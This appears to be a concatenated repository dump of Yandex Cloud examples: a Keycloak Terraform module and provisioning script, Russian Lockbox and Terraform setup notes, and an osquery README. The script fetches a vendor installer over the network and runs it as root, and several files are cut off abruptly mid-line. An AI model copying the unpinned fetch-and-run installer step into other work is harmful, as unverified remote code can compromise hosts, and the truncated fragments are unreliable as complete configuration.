WttgnHy8tWfrjbrF2MPA846ibHu7nPjhwoQxdd5kILPYLTANc3YzwaiN96f6flZg
edkVDUHMT2AVMpFvbYb1jNqULQ9Xyl5ebdTqLVzJ1WWDN7rUGdv2qDrHOlHeBMU3
2S6djwOizttFSwkj2q0FXAH8UFBTDS63gjSwJVzoSHaeFXo+6iT1b1eKj8sdxcbE
3rA+
-----END CERTIFICATE-----
================================================
FILE: auth_and_access/keycloak/keycloak-deploy/README.md
================================================
# Keycloak-deploy Terraform module
================================================
FILE: auth_and_access/keycloak/keycloak-deploy/dns-cm.tf
================================================
# ===================================
# DNS & Certificate Manager resources
# ===================================
data "yandex_dns_zone" "kc_dns_zone" {
folder_id = "${data.yandex_resourcemanager_folder.kc_folder.id}"
name = var.dns_zone_name
}
locals {
kc_fqdn = "${var.kc_hostname}.${trimsuffix(data.yandex_dns_zone.kc_dns_zone.zone,".")}"
}
# Create DNS record for Keycloak VM with created public ip address
resource "yandex_dns_recordset" "kc_dns_rec" {
zone_id = data.yandex_dns_zone.kc_dns_zone.id
name = var.kc_hostname
type = "A"
ttl = 300
data = ["${yandex_vpc_address.kc_pub_ip.external_ipv4_address[0].address}"]
}
# Create request to the Let's Encrypt service for Keycloak's VM certificate
resource "yandex_cm_certificate" "kc_le_cert" {
folder_id = "${data.yandex_resourcemanager_folder.kc_folder.id}"
name = var.le_cert_name
domains = [ "${local.kc_fqdn}" ]
managed {
challenge_type = "DNS_CNAME"
}
}
# Create domain validation DNS record for Let's Encrypt service
resource "yandex_dns_recordset" "validation_dns_rec" {
zone_id = data.yandex_dns_zone.kc_dns_zone.id
name = yandex_cm_certificate.kc_le_cert.challenges[0].dns_name
type = yandex_cm_certificate.kc_le_cert.challenges[0].dns_type
data = [yandex_cm_certificate.kc_le_cert.challenges[0].dns_value]
ttl = 60
}
output "kc_fqdn" {
value = local.kc_fqdn
}
================================================
FILE: auth_and_access/keycloak/keycloak-deploy/kc-setup.sh
================================================
# ===============================
# Keycloak VM provisioning script
# ===============================
# Get Keycloak input data
source kc-data.sh
# Change Timezone
timedatectl set-timezone Europe/Moscow
# Install Packages
apt-get update > /dev/null
apt-get install -y unzip openjdk-18-jre jq > /dev/null
# Install Yandex Cloud CLI (yc CLI)
YC_PATH="/opt/yc"
mkdir -p ${YC_PATH}
curl -s -O https://storage.yandexcloud.net/yandexcloud-yc/install.sh
chmod u+x install.sh
./install.sh -a -i ${YC_PATH}/ 2>/dev/null
ln -s ${YC_PATH}/bin/yc /usr/bin/yc
rm -f install.sh
sed -i "\$ a source ${YC_PATH}/completion.bash.inc" /etc/profile
# Configuring yc CLI
VM_ID=$(curl -s http://169.254.169.254/latest/meta-data/instance-id)
FOLDER_ID=$(yc compute instance get $VM_ID --format=json | jq -r .folder_id )
CLOUD_ID=$(yc resource folder get $FOLDER_ID --format=json | jq -r .cloud_id)
yc config profile create default
yc config set cloud-id $CLOUD_ID
yc config set folder-id $FOLDER_ID
unset CLOUD_ID FOLDER_ID VM_ID
# Get Keycloak distro and put files to the right place
curl -sLO https://github.com/keycloak/keycloak/releases/download/$KC_VER/keycloak-$KC_VER.zip
unzip -q keycloak-$KC_VER.zip
rm -f keycloak-$KC_VER/bin/*.bat
mkdir -p /opt/keycloak
cp -R keycloak-$KC_VER/* /opt/keycloak
rm -rf keycloak-$KC_VER/ keycloak-$KC_VER.zip
export PATH=$PATH:/opt/keycloak/bin
kc.sh build
# Get Let's Encrypt certificate from the YC Certificate Manager
# Let's Encrypt should validate certificate request within 30 minutes
mkdir -p $KC_CERT_PATH
status=None
while [ $status != 'ISSUED' ]
do
status=$(yc cm certificate get --full --name=$KC_CERT_NAME --format=json | jq -r .status)
echo $(date +'%H:%M:%S') $status
sleep 60
done
yc cm certificate download --name=$KC_CERT_NAME --chain=$KC_CERT_PATH/$KC_CERT_PUB --key=$KC_CERT_PATH/$KC_CERT_PRIV > /dev/null
# Prepare systemd things
groupadd keycloak
useradd -r -g keycloak -d /opt/keycloak -s /sbin/nologin keycloak
chown -R keycloak:keycloak /opt/keycloak
chmod o+x /opt/keycloak/bin/
cat <
1. Сервисный аккаунт обращается к секрету Lockbox через REST
2. Lockbox проверяет права на секрет и на ключ, расшифровывает секрет
3. В гостевую ОС возвращается JSON с секретом
После применения сценария развертывания скрипт удаляет все промежуточные файлы с секретами и удаляет сервисный аккаунт.
# Настройка окружения
Предполагаем, что у вас уже есть доступ в Yandex Cloud, вы знаете идентификатор своего облака (`cloud-id`) и [идентификатор каталога](https://cloud.yandex.ru/docs/resource-manager/operations/folder/get-id) (`folder-id`) в вашем облаке где будут создаваться облачные ресурсы.
## Установка YC CLI
Для развёртывания рабочего окружения установим инструмент `Yandex Cloud CLI (yc)` на свой компьютер (подробная [инструкция](https://cloud.yandex.ru/docs/cli/operations/install-cli#interactive)).
## Установка git
Для загрузки рецепта Terraform установите git [по инструкции](https://git-scm.com/book/ru/v2/Введение-Установка-Git).
## Установка Terraform
Установите инструмент `Terraform` на свой компьютер (если он уже не установлен) по [(инструкции)](https://cloud.yandex.ru/docs/tutorials/infrastructure-management/terraform-quickstart#install-terraform).
### Установка Terraform для Windows:
Распакуйте архив и скопируйте файл terraform.exe в каталог `C:\Windows\System32`
Для корректной установки всех необходимых ресурсов Terraform создайте в домашнем каталоге (`/home/
[Osquery](https://github.com/osquery/osquery) is a tool that allows you to get information about the OS in the format of [SQL queries](https://osquery.io/schema/current/#file_events).
Tasks solved:
- [Query configs, OS/device settings, proccess, open ports, packets](https://github.com/osquery/osquery#what-is-osquery)
- [File Integrity Monitoring with osquery](https://osquery.readthedocs.io/en/stable/deployment/file-integrity-monitoring/)
- [Reading syslog with osquery](https://osquery.readthedocs.io/en/stable/deployment/syslog/)
- [Anomaly detection with osquery](https://osquery.readthedocs.io/en/stable/deployment/anomaly-detection/)
- [Process and socket auditing with osquery ((including eBPF)](https://osquery.readthedocs.io/en/stable/deployment/process-auditing/)
- [Collecting information about containers on the host](https://www.uptycs.com/blog/get-started-using-osquery-for-container-security)
##
